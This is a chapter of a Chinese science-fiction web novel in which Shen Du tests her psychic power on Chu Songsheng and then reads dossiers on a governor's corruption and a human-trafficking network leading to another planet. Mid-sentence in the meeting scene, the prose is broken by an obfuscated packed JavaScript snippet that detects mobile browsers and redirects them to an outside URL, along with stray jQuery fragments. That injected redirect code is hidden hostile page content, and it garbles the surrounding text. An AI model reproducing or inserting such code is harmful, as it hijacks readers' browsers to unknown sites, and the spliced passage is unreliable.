楚溪惊讶地看过来，乔柯面露担忧，“女士，这……”


    楚颂声抬抬手，“我心里有数。而且，不是有小溪在？”


    楚溪一愣随即昂首挺胸，坚定地说：“我会做好您的后盾的！”


    乔柯心说长官要是精神海受个伤哪是一个S级治愈系的精神力者能解决的，那得一个专业团队轮流会诊。


    但是她也知道楚颂声决定的事没有转圜的余地，也就隐去了异议。


    沈渡倒是很淡定，她见楚颂声一定要试，平复一下心情，凝神静气，试探着伸出一缕精神力融入对方的精神海。


    刚一进去，她就觉得自己的精神力好像大海上漂着的一粒小舟，对方的精神海之广阔、凝实远超她的想象。


    楚颂声说了不反抗，这片大海便风平浪静，但是平面以下犹有暗流，沈渡几乎本能地感受到威胁，心里战栗起来。


    【这种程度可不太够。】对方带笑的声音像是在沈渡脑海里响起的一样——楚颂声在用精神力和她交流。


    沈渡想这大概是对方精神力的一个二级技能，她既为强者感到恐惧，又不可遏制地升起战意。


    她知道这是一个她目前绝不可能战胜的对手，但是她透过楚颂声却像看见自己另一个可能性。


    沈渡的眼睛越发亮了，乔柯在旁边看着，仿佛看见了又一颗将来要大放光彩的明星。


    有些人生来就是历史舞台的主角，她们享受风暴、硝烟与血火，世界不能使她们屈服，敌人的憎恶、亲友的眷恋不能使她们停下脚步，在星海中扬起战旗之时，就只能走向辉煌或者死亡。


    她的长官是这样的人，以后的沈渡说不定也是这样的人。


    沈渡的精神力铺天盖地地朝着楚颂声的精神海涌去，楚颂声感受着外来者的力量，但是却提不起什么排斥的本能。


    那些精神力好像本来就属于她，往精神海深处探去。


    渐渐的，她沉入一片旧日的幻影……


    在外，沈渡的脸色苍白起来，她终于脱离那一片无边际的精神海，精神力让她“看”见楚颂声的内心深处。


    她的视角附在楚颂声身上，周围都是模糊一片，影影绰绰看不真切，这是她在对方不反抗的前提下能做到的最好。


    她“看”到年轻的楚颂声和一个人说话，对方把手搭在她的肩膀上，楚颂声躲了躲，最终没有拂开；她“看”到一场比赛的终场，大家都在欢呼都在狂欢，楚颂声淡定地躲在角落，身边传来一个人模糊的询问；她“看”到似乎是在星港，楚颂声和人告别，两人拥抱了一下。看不清脸的对方笑着说：“……照顾……回来……喝酒……”


    对话断断续续的，而且越来越扭曲，逐渐变为尖锐的啸叫，沈渡觉得脑袋胀痛起来。


    【可以了。】她听见楚颂声这么说。


    下一秒她的精神力倒流着回到她几近干涸的精神海。


    仿佛溺水的人被救出水面，沈渡现在才想起来呼吸一样呛咳起来。


    下一秒她有人握住她的手，她的精神海骤然平静下来，眼前也渐渐清晰。


    “沈渡？沈渡？”刚刚好像隔着水一样的呼唤也清楚起来，楚溪拉着她的手，惊喜地看着她，“醒过来了！”


    刚刚沈渡和楚颂声的交流看着很久，其实不过几秒。


    她和乔柯就看着楚颂声逐渐半合起眼睛，知道是沈渡的精神力天赋起效了，与此同时沈渡的脸色也苍白起来.


    不过几秒钟，楚颂声睁开眼，沈渡却好像呼吸不过来一样。


    吓了楚溪一大跳，连忙上去帮忙。


    “原来是这样……”楚颂声喃喃道，“难怪……”


    乔柯：“女士？”


    楚颂声：“没事，她走得太深了，差点陷在我的精神海里。我被迷糊了一下，醒过来就把她赶出来了，没有什么大事。”


    沈渡摇摇头又眨眨眼，感觉自己的感知从没这么清楚过，对楚溪的精神力天赋多了几分理解。


    她肯定地对楚溪点点头表示自己已经完全没问题了，又转过头问楚颂声：“我的测试算通过了吗？”


    几个人没想到她开口第一句就是这个问题，楚颂声挑了挑眉，停顿了一下但还是说：“没问题。”


    何止没问题，这个精神力天赋简直像是为对付这个芯片量身定做的。


    即便是她去了，也不能做到更好了。


    “今晚让小溪带着你来找我吧。至于你的朋友们，说多少，怎么说，你自己决定。”


    当晚仅仅和塞尔利亚通了消息的沈渡被楚溪领着出现在那座大厦楼下。


    沈渡愣了愣，楚溪倒是很自然地带着她从地下通道刷了瞳孔进了电梯，她解释道：“姑姑说这边需要人看着，而且资料浩繁，在这边呆着也方便。”


    今晚之前沈渡还在想，格伦和楚颂声究竟是合作还是被扣留，现在来看，老巢都直接被端了，格伦自诩无冕之王，在楚颂声这区区十几个人面前也不过如此。


    楚溪径直领着她去了会议室，楚颂声已经在那等着了，低头看着文件。


    乔柯倒是不在，不知道被安排去做什么了。


    楚颂声旁边的小桌上摆着两三个不知道装着什么的小盒子、其中有一支装着不明透明溶液的试剂，沈渡多看了两眼，眼尖地看见里面飘着的微小芯片。


    楚溪探头，“姑姑，沈渡来啦。我去给乔柯姐帮忙。”


    楚颂声随意应了两声，没抬头，招招手示意沈渡自己找地方坐，顺手给手里这份报告打了个“不合格，重做”的批语。


    与此同时的地下三层，乔柯盯着人把一个巨大的箱子卸下来，正认真工作着呢，突然听队里一个人哀嚎起来。


    乔柯冷不丁被吓了一跳，没好气地说：“干什么！干什么！叫魂呢！”


    那人生无可恋地挂在旁边人的身上，感觉要瘫成一滩烂泥，“我的《关于天涯星整体行政规划及建设可行性方案》又被打回来了。


    “熬了我三个大夜啊！


    “老大再爱我一次——”


    乔柯此刻的心好比天涯星两极的冰块，冷得吓人，无情地指着他对旁边的人说：“让他闭嘴！”


    旁边的人令行景从，作势就要扑上去抓他。那人被他们之间吹弹可破的战友情震撼到了，悻悻闭嘴。


    乔柯十分不含蓄地翻了个白眼，转过身催促道：“继续搬！”


    会议室里，楚颂声把纸质文件发给沈渡。


    她两手交叠放在桌上，姿态自然，语气也算不上严肃，甚至有心情开个小玩笑，“你先看看吧。出了这个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680681|188743||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门我可不会承认今天的事。”


    沈渡翻开文件。


    文件的第一部分详细记录了天涯星政府和格伦集团勾结着贪污公款、倒卖武器、人口买卖、操纵市场等等一系列违法行为。金额之巨、牵扯之大世所罕见，楚溪当初第一次看的时候在心里默默数零，倒吸一口凉气。


    沈渡现在倒是没什么表情，毕竟政府什么德行当地人最清楚，而且钱这种东西超出一定数量很难让她产生什么实感。


    她淡定地看完了这部分，飞快地翻页。


    第二部分则深挖了格伦在天涯星的地下买卖网，有天涯星政府背书，赌场、医院、商店等等线下实体都是他的网点，他自设了一个覆盖天涯星的暗网，真正做到了打击行业痛点，形成工作闭环，走起了线上线下相结合的产业发展之路。


    沈渡知道那个暗网，克莱尔甚至会在上面买机甲零件。


    前些年战争刚刚平息时，从战场上拾荒在暗网上售卖是很大一部分人的生计所在。但是在她的记忆里，上面并没有成体系、大规模的人口买卖，她接着看下去。


    第三部分是一个调查报告，是关于格伦拍卖会负责人陈浩的，也就是沈渡催眠的那位“陈哥”。陈浩在这篇可以把天涯星血洗一遍的报告里堪称小人物了。这个调查详细记录了陈浩在收受贿赂后，对着上司阳奉阴违的过程。楚颂声选定了他当本次人口买卖的突破点，没想到还有意外之喜。


    诚然格伦是天涯星最大的人口贩子，但是他吃了肉，总还是有人在啃骨头。陈浩经营多年，有自己几分门路，楚颂声实在是给的太多了。尽管楚颂声原本只想借他摸清楚格伦拐卖人口的路线和流程，但他决定自己抓一个好货，以此昧下巨额的财款。他选定了陈今。


    这是个意外，毕竟楚颂声为他准备的“货物”原本是楚溪——一个优秀但提不起警惕心的年轻人。据陈浩的口供，他无意间遇见陈今，发现了这孩子的天赋，因此心生歹意，等楚颂声这边的人发现，事情都走过三轮了。


    陈今意外被格伦发现，试验了新的试剂，在产生强烈的不良反应后送往南康。


    第四部分是关于人口买卖的去向，格伦这些人靠着天涯星独特的地理位置来来往往掳走了不少人，一部分被他挂上拍卖会，一部分送往南康，还有一部分，报告中提到，也就是天赋最好的一部分会被送往离火星。


    最巧的是，不管是格伦还是陈浩自己的路子都和目前距天涯星仅40个天文单位的离火星息息相关。


    离火星因为距离恒星比较近，不算是一个宜居星球，但是自从天涯星战乱，这颗星球占据天时地利人和发展起来了，一跃成为三级星，此前大有取代天涯星成为新的星际边疆的意思。


    在天涯星上活动的人口贩子看似除了是同行毫无关系，却都往离火星运过“货”，而且运的大部分是“好货”，调查人肯定在离火星一定还有一个基地。


    格伦做的人口买卖没上暗网，却另有一条路子，那条路子就是离火星。


    离火星……沈渡想起了克莱尔，此时正在离火星，原本是准备接应陈今姐妹，后来沈渡察觉天涯星的拨云诡谲让她暂缓回到天涯星。


    又来了，这种无孔不入的感觉……


    这个人在逼着沈渡前往离火星。